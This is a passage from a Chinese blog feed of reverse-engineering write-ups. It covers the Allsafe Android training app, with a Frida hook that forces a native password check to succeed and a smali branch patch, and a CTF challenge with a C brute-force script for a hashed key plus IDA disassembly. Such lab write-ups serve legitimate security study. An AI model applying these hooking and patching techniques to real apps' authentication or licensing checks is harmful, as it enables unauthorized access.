    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE17find_first_not_ofEPKwmm&quot;,
    &quot;_ZTSPKDs&quot;,
    &quot;_ZTVSt11logic_error&quot;,
    &quot;__cxa_rethrow_primary_exception&quot;,
    &quot;_ZNSt14overflow_errorD0Ev&quot;,
    &quot;_ZTSSt16invalid_argument&quot;,
    &quot;_ZTISt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_mmRKS4_&quot;,
    &quot;_ZTSPKDu&quot;,
    &quot;_ZNSt13bad_exceptionD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_&quot;,
    &quot;_ZTIPDs&quot;,
    &quot;_ZTISt12out_of_range&quot;,
    &quot;_ZTIPDu&quot;,
    &quot;_ZNSt6__ndk14stofERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZTSPKa&quot;,
    &quot;_ZNSt15underflow_errorD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmmw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmRKS5_mm&quot;,
    &quot;_ZNSt6__ndk14stolERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTSPKb&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEPKwm&quot;,
    &quot;_ZNSt6__ndk14stoiERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTISt13bad_exception&quot;,
    &quot;_ZTSPKc&quot;,
    &quot;_ZTSSt12out_of_range&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7reserveEm&quot;,
    &quot;__cxa_get_globals_fast&quot;,
    &quot;_ZTSPKd&quot;,
    &quot;_ZTISt11range_error&quot;,
    &quot;_ZnwmRKSt9nothrow_t&quot;,
    &quot;_ZTVSt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmRKS5_mm&quot;,
    &quot;_ZTSPKf&quot;,
    &quot;__emutls_get_address&quot;,
    &quot;_ZTSPKg&quot;,
    &quot;_ZnamSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNKSt6__ndk121__basic_string_commonILb1EE20__throw_length_errorEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmPKcm&quot;,
    &quot;__cxa_terminate_handler&quot;,
    &quot;_ZTSPKh&quot;,
    &quot;_ZnwmSt11align_val_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm&quot;,
    &quot;_ZTSPKi&quot;,
    &quot;_ZTSPKj&quot;,
    &quot;_ZTVN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZNSt11logic_errorC2ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZTVSt13bad_exception&quot;,
    &quot;_ZTSPKl&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE2atEm&quot;,
    &quot;_ZNSt6__ndk14stodERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZTSPKm&quot;,
    &quot;_ZNSt9bad_allocC2Ev&quot;,
    &quot;_ZNSt13runtime_errorC1ERKS_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_mmRKS4_&quot;,
    &quot;_ZTIN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZTSPKn&quot;,
    &quot;_ZNSt12length_errorD2Ev&quot;,
    &quot;_ZTVSt8bad_cast&quot;,
    &quot;_ZTSPKo&quot;,
    &quot;_ZN7_JNIEnv14GetArrayLengthEP7_jarray&quot;,
    &quot;_ZNSt11logic_errorC2EPKc&quot;,
    &quot;_ZNSt20bad_array_new_lengthC2Ev&quot;,
    &quot;_ZTVSt20bad_array_new_length&quot;,
    &quot;_ZTISt12domain_error&quot;,
    &quot;_ZTSSt12domain_error&quot;,
    &quot;_ZTISt14overflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEmc&quot;,
    &quot;__cxa_get_exception_ptr&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7reserveEm&quot;,
    &quot;_ZTSSt9bad_alloc&quot;,
    &quot;_ZNKSt11logic_error4whatEv&quot;,
    &quot;_ZTSSt11range_error&quot;,
    &quot;_ZTSPKs&quot;,
    &quot;_ZTIN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZNSt6__ndk19to_stringEd&quot;,
    &quot;_ZTSPKt&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmRKS5_mm&quot;,
    &quot;_ZNSt9bad_allocD1Ev&quot;,
    &quot;_ZNSt9exceptionD1Ev&quot;,
    &quot;_ZNSt13runtime_errorD2Ev&quot;,
    &quot;_ZNSt11range_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev&quot;,
    &quot;_ZNSt12out_of_rangeD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE2atEm&quot;,
    &quot;_ZNSt6__ndk19to_stringEf&quot;,
    &quot;_ZTSPKv&quot;,
    &quot;_ZNKSt13bad_exception4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSEc&quot;,
    &quot;_ZNSt16invalid_argumentD1Ev&quot;,
    &quot;_ZNSt6__ndk19to_stringEg&quot;,
    &quot;_ZTIN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPKw&quot;,
    &quot;_ZNSt9type_infoD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEmw&quot;,
    &quot;_ZNSt6__ndk15stoulERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSPKx&quot;,
    &quot;_ZTIPKDh&quot;,
    &quot;_ZNSt20bad_array_new_lengthD1Ev&quot;,
    &quot;_ZTSSt9type_info&quot;,
    &quot;_ZdlPvRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmRKS5_mm&quot;,
    &quot;_ZNSt6__ndk19to_stringEi&quot;,
    &quot;_ZTSPKy&quot;,
    &quot;_ZTIPKDi&quot;,
    &quot;_ZNSt6__ndk19to_stringEj&quot;,
    &quot;__cxa_pure_virtual&quot;,
    &quot;_ZTVN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZNSt8bad_castC2Ev&quot;,
    &quot;_ZSt14set_unexpectedPFvvE&quot;,
    &quot;_ZTSN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZNSt6__ndk16__itoa8__u64toaEmPc&quot;,
    &quot;_ZNSt6__ndk19to_stringEl&quot;,
    &quot;__dynamic_cast&quot;,
    &quot;_ZNSt6__ndk19to_stringEm&quot;,
    &quot;_Z9checkPassP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6resizeEmc&quot;,
    &quot;_ZNSt6__ndk15stoldERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;_ZTIPKDn&quot;,
    &quot;_ZnamSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4copyEPwmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEED1Ev&quot;,
    &quot;_ZTISt11logic_error&quot;,
    &quot;_ZN7_JNIEnv12NewStringUTFEPKc&quot;,
    &quot;_ZTSN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTSa&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5rfindEPKwmm&quot;,
    &quot;_ZTSb&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE16find_last_not_ofEPKwmm&quot;,
    &quot;__cxa_uncaught_exceptions&quot;,
    &quot;_ZTSN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZTSc&quot;,
    &quot;_ZNSt8bad_castD1Ev&quot;,
    &quot;_ZNSt13runtime_errorC1EPKc&quot;,
    &quot;_ZTSd&quot;,
    &quot;_ZTIPKDs&quot;,
    &quot;_Znwm&quot;,
    &quot;_ZdaPvRKSt9nothrow_t&quot;,
    &quot;_ZNSt11logic_errorC1ERKS_&quot;,
    &quot;_ZNSt10bad_typeidD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmmc&quot;,
    &quot;_ZTSPDh&quot;,
    &quot;_ZTSf&quot;,
    &quot;_ZTIPKDu&quot;,
    &quot;_ZNSt11logic_errorD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC2ERKS5_mmRKS4_&quot;,
    &quot;_ZTIN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZTSg&quot;,
    &quot;_ZTSPDi&quot;,
    &quot;_ZTSh&quot;,
    &quot;_ZTSSt13runtime_error&quot;,
    &quot;_ZNSt13runtime_errorC1ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk19to_stringEx&quot;,
    &quot;_ZTSi&quot;,
    &quot;_ZNSt12domain_errorD2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE2atEm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE13find_first_ofEPKwmm&quot;,
    &quot;_ZNSt6__ndk19to_stringEy&quot;,
    &quot;_ZTSj&quot;,
    &quot;_ZNKSt9bad_alloc4whatEv&quot;,
    &quot;_ZTVSt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcmm&quot;,
    &quot;_ZTISt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmPKwm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEPKwm&quot;,
    &quot;__cxa_free_dependent_exception&quot;,
    &quot;_ZTIN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPDn&quot;,
    &quot;_ZTSl&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmPKcm&quot;,
    &quot;__cxa_current_exception_type&quot;,
    &quot;_ZTSPa&quot;,
    &quot;_ZTSm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignERKS5_mm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmPKw&quot;,
    &quot;_ZTSPb&quot;,
    &quot;_ZTSn&quot;,
    &quot;_ZTSDh&quot;,
    &quot;_ZTISt20bad_array_new_length&quot;,
    &quot;_ZTSSt11logic_error&quot;,
    &quot;_ZNSt14overflow_errorD1Ev&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE16find_last_not_ofEPKcmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE2atEm&quot;,
    &quot;_ZNSt13bad_exceptionD1Ev&quot;,
    &quot;_ZTSN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZTSPc&quot;,
    &quot;_ZTSo&quot;,
    &quot;_ZTSDi&quot;,
    &quot;_ZTSN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZNKSt13runtime_error4whatEv&quot;,
    &quot;_ZNSt12length_errorD0Ev&quot;,
    &quot;_ZTSSt12length_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEmw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignEPKw&quot;,
    &quot;_ZTSPd&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEPKcm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4findEcm&quot;,
    &quot;_ZTSPDs&quot;,
    &quot;_ZTIN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZTSPf&quot;,
    &quot;_ZnwmSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZTSs&quot;,
    &quot;_ZTSPg&quot;,
    &quot;_ZTSPDu&quot;,
    &quot;_ZNSt15underflow_errorD1Ev&quot;,
    &quot;_ZTSSt10bad_typeid&quot;,
    &quot;_ZNSt6__ndk16stoullERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSDn&quot;,
    &quot;_ZTSPh&quot;,
    &quot;_ZTSt&quot;,
    &quot;_ZTVSt9exception&quot;,
    &quot;__cxa_current_primary_exception&quot;,
    &quot;_ZTSPi&quot;,
    &quot;_ZTSv&quot;,
    &quot;_ZTSPj&quot;,
    &quot;_ZNSt13runtime_errorD0Ev&quot;,
    &quot;_ZdaPvSt11align_val_t&quot;,
    &quot;_ZTSw&quot;,
    &quot;_ZTSN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPl&quot;,
    &quot;_ZTSx&quot;,
    &quot;_ZTVN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZTISt15underflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmmc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSERKS5_&quot;,
    &quot;_ZTSPm&quot;,
    &quot;_ZTSy&quot;,
    &quot;_ZTSDs&quot;,
    &quot;_ZnamRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7replaceEmmmw&quot;,
    &quot;__cxa_allocate_dependent_exception&quot;,
    &quot;_ZTSPn&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE12find_last_ofEPKwmm&quot;,
    &quot;__cxa_increment_exception_refcount&quot;,
    &quot;_ZTSPo&quot;,
    &quot;_ZTSDu&quot;,
    &quot;_ZN7_JNIEnv20GetByteArrayElementsEP11_jbyteArrayPh&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE13find_first_ofEPKcmm&quot;,
    &quot;_ZNSt6__ndk14stofERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;__cxa_decrement_exception_refcount&quot;,
    &quot;_ZNSt10bad_typeidC1Ev&quot;,
    &quot;_ZTVN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPs&quot;,
    &quot;_ZSt9terminatev&quot;,
    &quot;_ZdlPvm&quot;,
    &quot;_ZTSN10__cxxabiv123__fundamental_type_infoE&quot;,
    &quot;_ZTSPt&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendERKS5_mm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6resizeEmw&quot;,
    &quot;__cxa_allocate_exception&quot;,
    &quot;_ZNSt6__ndk15stollERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTSPv&quot;,
    &quot;_ZTVSt14overflow_error&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找check_password的地址一会hook，让我们无论输入什么，都能通过密码验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; Process.getModuleByName(&quot;libnative_library.so&quot;).getExportByName(&quot;Java_infosecadvent
ures_allsafe_challenges_NativeLibrary_checkPassword&quot;)
&quot;0x7638795a4430&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在把地址赋给一个变量，一会使用 Interceptor 来钩住该函数，并劫持其实现，使其对提供的任何密码都返回 true。&lt;a href=&quot;https://frida.re/docs/javascript-api/#interceptor&quot;&gt;https://frida.re/docs/javascript-api/#interceptor&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; var addr = Process.getModuleByName(&quot;libnative_library.so&quot;).getExportByName(&quot;Java_in
fosecadventures_allsafe_challenges_NativeLibrary_checkPassword&quot;);
[Android Emulator 5554::Allsafe ]-&amp;gt; console.log(&quot;[addr] &quot; + addr);
[addr] 0x7638795a4430
[Android Emulator 5554::Allsafe ]-&amp;gt; Interceptor.attach(addr, {
  onEnter(args) {
    console.log(&quot;[*] checkPassword called&quot;);
  },
  onLeave(retval) {
    console.log(&quot;[*] original retval =&quot;, retval.toInt32());
    retval.replace(1);
    console.log(&quot;[+] forced success&quot;);
  }
});
{}
[Android Emulator 5554::Allsafe ]-&amp;gt; [*] checkPassword called
[*] original retval = 0
[+] forced success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便输入都能通过验证，当然你也可以用apktool拿到so文件，然后IDA分析，发现密码就静态编译在里面，这里只是用frida来展示hook&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：THERE&apos;S A NATIVE LIBRARY COMPILED WITH THE APPLICATION THAT IS USED TO VALIDATE THE PASSU HE PASSWORD BELOW. BY REVERSE ENGINEERING THE THE PASSWORD CHECK. ENTER PASSWORD I [CHECK] 确定 THAT&apos;S IT!EXCELLENT WORK! --&amp;gt;
&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Smali Patch&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;这一关就是改smail代码，实现点击输出Firewall is now activated, good job!&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：* JADX INFO: ACCESS MODIFIERS CHANGED FROM: PRIVATE */ PUBLIC /大 SYNTHETIC */ VOID LAMBDASONCREATEVIEWSO(FIREWALL FIREWALL, VIEW V) IF (FIREWALL.EQUALS(FIREWALL.ACTIVE)){ SNACKUTIL.INSTANCE.SINDLEHESSAGE(REQUIREACTIVITYO, &quot;FIREWALL IS NOW ACTIVATED, 9OOD, 900D JOB: TOAST.MAKETEXT(REQUIRECONTEXTO,&quot;G00D J08!&quot;,1).SHOWO; ELSET SNACKUTIL.INSTAHCE.SIMPLEKESSAGE(REQUIREACTIVITYO, &quot;FIREWALL IS DOWN, TRY HARDER!&quot;); --&amp;gt;
&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我直接用MT管理器打开演示一下&lt;/p&gt;
&lt;p&gt;在class4.dex里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：MOVE-RESULT VO IF-EQZ VO, :COND_22 .LINE 24 SGET OBJECT VO, UNFOSECADVENTURES/ALLSAFE/UTILS/SNACKUTIL: INVOKEVITUAL ( (OO), UNFOSECADVES/ALLSAFE/CHALENGES/SMAIPATCH;&amp;gt;REQUIEACTIVIYOLANDROIDX FREGMENTACTIVI MOVE-RESULT-OBJECT V1 CONST-STRING V2,&quot;FIREWALL IS NOW ACTIVATED,GOOD JOB! LUD83D\UDC4D&quot; --&amp;gt;
&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改为&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：IF-NEZ VO, COND_22 .LINE 24 SGER OBJECT VO,UNFOSECADVENTURES/ALLSAFE/UTIS/SNACKUTIL;&amp;gt;INSTANCELINFOSECADVENTURES/ALLSAFE/UTIS/SNAC INVOKEVIRTUA[ 1PO; UNFOSECADVENTURESSFERCHALENGES/SNALPATCH--REQUREQUREACIVITYOLDX/TREGNENT/FRAGNTACI MOVE-RESULT-OBJECT V1 --&amp;gt;
&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：[CHECK FIREWALL] GOOD JOB! 确定 FIREWALL IS NOW JOB! --&amp;gt;
&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>？CTF</title><link>https://blog-5w0.pages.dev/posts/question-ctf/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/question-ctf/</guid><description>？CTF Reverse WriteUp</description><pubDate>Fri, 05 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Week 4&lt;/h2&gt;
&lt;h1&gt;1.SMC&lt;/h1&gt;
&lt;p&gt;main函数，让我们输入一个四字节的key，flag的长度是32&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-001.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;正确的key是‘LYLY’，这个函数的计算结果要等于0x7B3126E5h，算法实现在sub_1400011C0函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-002.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-003.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-004.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爆破脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;Windows.h&amp;gt;
__int64 __fastcall fnv(byte *a1, unsigned __int64 a2, unsigned int a3, int a4)
{
    unsigned __int64 i;
    for (i = 0; i &amp;lt; a2; ++i)
        a3 = a4 * (a1[i] ^ a3);
    return a3;
}
int main()
{
    DWORD Key{};
    for (Key = 0; Key &amp;lt; 0xffffffff; Key++)
    {
        if (fnv((byte*)(&amp;amp;Key), 4, 0x811C9235LL, 0x1000193) == 0x7B3126E5)
        {
            printf(&quot;Key: %.4s\n&quot;, (char *)(&amp;amp;Key));
            break;
        }
    }
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sub_140001540是对加密函数进行保护的函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-005.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们看不到正确的加密算法&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-006.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们动调，执行过保护函数，可以看到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-007.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后按c转化为汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text:00007FF778F01240 ; __unwind { // __GSHandlerCheck
.text:00007FF778F01240 loc_7FF778F01240 db  48h ; H            ; CODE XREF: main+CE↓p
.text:00007FF778F01240                                         ; DATA XREF: sub_7FF778F01540+39↓o ...
.text:00007FF778F01242 push    rsp
.text:00007FF778F01243 and     al, 10h
.text:00007FF778F01245 mov     [rsp+8], rcx
.text:00007FF778F0124A push    rdi
.text:00007FF778F0124B sub     rsp, 250h
.text:00007FF778F01252 mov     rax, cs:__security_cookie
.text:00007FF778F01259 xor     rax, rsp
.text:00007FF778F0125C mov     [rsp+240h], rax
.text:00007FF778F01264 lea     rax, [rsp+40h]
.text:00007FF778F01269 mov     rdi, rax
.text:00007FF778F0126C xor     eax, eax
.text:00007FF778F0126E mov     ecx, 100h
.text:00007FF778F01273 rep stosb
.text:00007FF778F01275 mov     dword ptr [rsp+10h], 0
.text:00007FF778F0127D jmp     short loc_7FF778F01289
.text:00007FF778F0127F ; ---------------------------------------------------------------------------
.text:00007FF778F0127F
.text:00007FF778F0127F loc_7FF778F0127F:                       ; CODE XREF: .text:00007FF778F012A0↓j
.text:00007FF778F0127F mov     eax, [rsp+10h]
.text:00007FF778F01283 inc     eax
.text:00007FF778F01285 mov     [rsp+10h], eax
.text:00007FF778F01289
.text:00007FF778F01289 loc_7FF778F01289:                       ; CODE XREF: .text:00007FF778F0127D↑j
.text:00007FF778F01289 cmp     dword ptr [rsp+10h], 100h
.text:00007FF778F01291 jnb     short loc_7FF778F012A2
.text:00007FF778F01293 mov     eax, [rsp+10h]
.text:00007FF778F01297 movzx   ecx, byte ptr [rsp+10h]
.text:00007FF778F0129C mov     [rsp+rax+40h], cl
.text:00007FF778F012A0 jmp     short loc_7FF778F0127F
.text:00007FF778F012A2 ; ---------------------------------------------------------------------------
.text:00007FF778F012A2
.text:00007FF778F012A2 loc_7FF778F012A2:                       ; CODE XREF: .text:00007FF778F01291↑j
.text:00007FF778F012A2 mov     dword ptr [rsp+30h], 4
.text:00007FF778F012AA lea     rax, [rsp+140h]
.text:00007FF778F012B2 mov     rdi, rax
.text:00007FF778F012B5 xor     eax, eax
.text:00007FF778F012B7 mov     ecx, 100h
.text:00007FF778F012BC rep stosb
.text:00007FF778F012BE mov     dword ptr [rsp+14h], 0
.text:00007FF778F012C6 jmp     short loc_7FF778F012D2
.text:00007FF778F012C8 ; ---------------------------------------------------------------------------
.text:00007FF778F012C8
.text:00007FF778F012C8 loc_7FF778F012C8:                       ; CODE XREF: .text:00007FF778F01305↓j
.text:00007FF778F012C8 mov     eax, [rsp+14h]
.text:00007FF778F012CC inc     eax
.text:00007FF778F012CE mov     [rsp+14h], eax
.text:00007FF778F012D2
.text:00007FF778F012D2 loc_7FF778F012D2:                       ; CODE XREF: .text:00007FF778F012C6↑j
.text:00007FF778F012D2 cmp     dword ptr [rsp+14h], 100h
.text:00007FF778F012DA jge     short loc_7FF778F01307
.text:00007FF778F012DC xor     edx, edx
.text:00007FF778F012DE mov     eax, [rsp+14h]
.text:00007FF778F012E2 div     dword ptr [rsp+30h]
.text:00007FF778F012E6 mov     eax, edx
.text:00007FF778F012E8 mov     eax, eax
.text:00007FF778F012EA mov     rcx, [rsp+268h]
.text:00007FF778F012F2 movzx   eax, byte ptr [rcx+rax]
.text:00007FF778F012F6 xor     eax, 11h
.text:00007FF778F012F9 movsxd  rcx, dword ptr [rsp+14h]
.text:00007FF778F012FE mov     [rsp+rcx+140h], al
.text:00007FF778F01305 jmp     short loc_7FF778F012C8
.text:00007FF778F01307 ; ---------------------------------------------------------------------------
.text:00007FF778F01307
.text:00007FF778F01307 loc_7FF778F01307:                       ; CODE XREF: .text:00007FF778F012DA↑j
.text:00007FF778F01307 mov     dword ptr [rsp+1Ch], 0
.text:00007FF778F0130F mov     dword ptr [rsp+8], 0
.text:00007FF778F01317 jmp     short loc_7FF778F01323
.text:00007FF778F01319 ; ---------------------------------------------------------------------------
.text:00007FF778F01319
